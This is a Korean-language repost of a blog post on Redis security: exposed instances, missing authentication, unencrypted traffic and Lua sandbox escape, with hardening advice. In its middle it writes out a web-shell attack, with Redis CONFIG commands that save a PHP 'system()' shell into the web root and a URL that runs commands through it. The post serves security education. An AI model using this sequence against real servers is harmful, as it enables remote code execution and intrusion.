해킹 Redis
실제로 마스터-슬레이브 아키텍처 및 Redis 클러스터와 같은 더 많은 고급 기능을 제공합니다.
그러나 Redis는 종종 간단한 캐시 시스템 또는 메시지 브로커로 사용됩니다.
여러 측면에서 환상적인 기술이지만 사용자가 기본 구성을 고수하거나 Redis 서버를 노출할 때 보안 문제가 발생합니다.
Redis 인스턴스를 노출하지 마십시오.
많은 설치는 편의를 위해 Redis 인스턴스를 인터넷에 노출하여 누구나 기본 포트 6379를 통해 서버에 액세스할 수 있도록 합니다.
다음 명령으로 테스트할 수 있습니다.
sudo apt install redis-tools
redis-cli -h {IP} PING
성공적인 응답은 "PONG"이지만 테스트에서 다른 명령을 시도할 수 있습니다.
인스턴스가 다른 포트를 사용하더라도 Metasploit과 같은 프레임워크에는 열거를 자동화하는 특정 모듈이 포함되어 있습니다.
최악의 시나리오(또는 최선의 경우 공격자라면 ^^)에는 방화벽 규칙도 인증도 없습니다. CTF는 그러한 잘못된 구성을 에뮬레이션하는 것을 좋아하는데, 불행히도 현실적입니다.
신뢰할 수 있는 클라이언트만 허용되어야 합니다.
주의: 최신 버전의 Redis에는 여전히 기본 구성을 사용하는 설치를 수정하는 것을 목표로 하는 "보호 모드"(3.2.0 이후)가 포함되어 있다는 점에 유의해야 합니다.
공격자가 Redis 서버를 해킹하는 이유와 방법
Redis는 다양한 이유로 해킹될 수 있지만 가장 일반적인 이유는 다음과 같습니다.
그렇기 때문에 Redis 문서에서는 명령 세트에 대한 전체 액세스를 비활성화할 것을 권장합니다. CTF 및 펜 테스트에서 사용되는 가장 일반적인 핵 중 하나는
CONFIG
명령을 기반으로 합니다.{IP}:6379> config set /var/www/html
{IP}:6379> config set dbfilename webshell.php
{IP}:6379> set test "<?php system($_REQUEST['cmd']); ?>"
{IP}:6379> save
공격자는 이를 사용하여 새 파일에 임의의 명령을 전달할 수 있습니다.
http://{IP}/webshell.php?cmd={COMMAND}
또 다른 접근 방식은 Redis-Server-Exploit과 같은 도구를 사용하여 악성 SSH 액세스를 생성하는 것입니다.
인증된 익스플로잇
구성이 매우 잘못되면 인증되지 않은 적이 권한이 없는 명령을 전달하고 Redis 인스턴스를 엉망으로 만들 수 있습니다.
익명 연결을 금지하는 것이 좋습니다.
하지만 Redis 서버가 약한 비밀번호를 사용하는 것은 드문 일이 아닙니다.
데이터는 기본적으로 암호화되지 않음
Redis는
redis.conf
파일에서 구성할 수 있는 인증 계층을 제공합니다. 활성화되면 관리자는 AUTH
명령을 사용하여 강력한 암호를 설정할 수 있습니다.다른 보호 기능이 실패할 경우를 대비한 추가 계층이지만 기본적으로 암호화가 없으므로 네트워크 트래픽을 스니핑한 공격자는 이론적으로 통신을 가로챌 수 있습니다.
루아 샌드박스 탈출
사이버 범죄자는 취약한 라이브러리를 활용하여 Redis를 통해 RCE(원격 코드 실행)를 이식할 수 있습니다.
예를 들어 Redis를 사용하면 사용자가 스크립트Lua를 실행할 수 있습니다.
서버가 오래된 종속성을 사용하면 지저분해질 수 있습니다.
this one 과 같은 일부 CTF는 해당 공격을 에뮬레이트합니다.
마무리
Redis 보안을 기본값으로 설정하지 말고 인스턴스가 최신 상태인지 확인하십시오.
Reference
이 문제에 관하여(해킹 Redis), 우리는 이곳에서 더 많은 자료를 발견하고 링크를 클릭하여 보았다 https://dev.to/jmau111/hacking-redis-2dl2텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
우수한 개발자 콘텐츠 발견에 전념 (Collection and Share based on the CC Protocol.)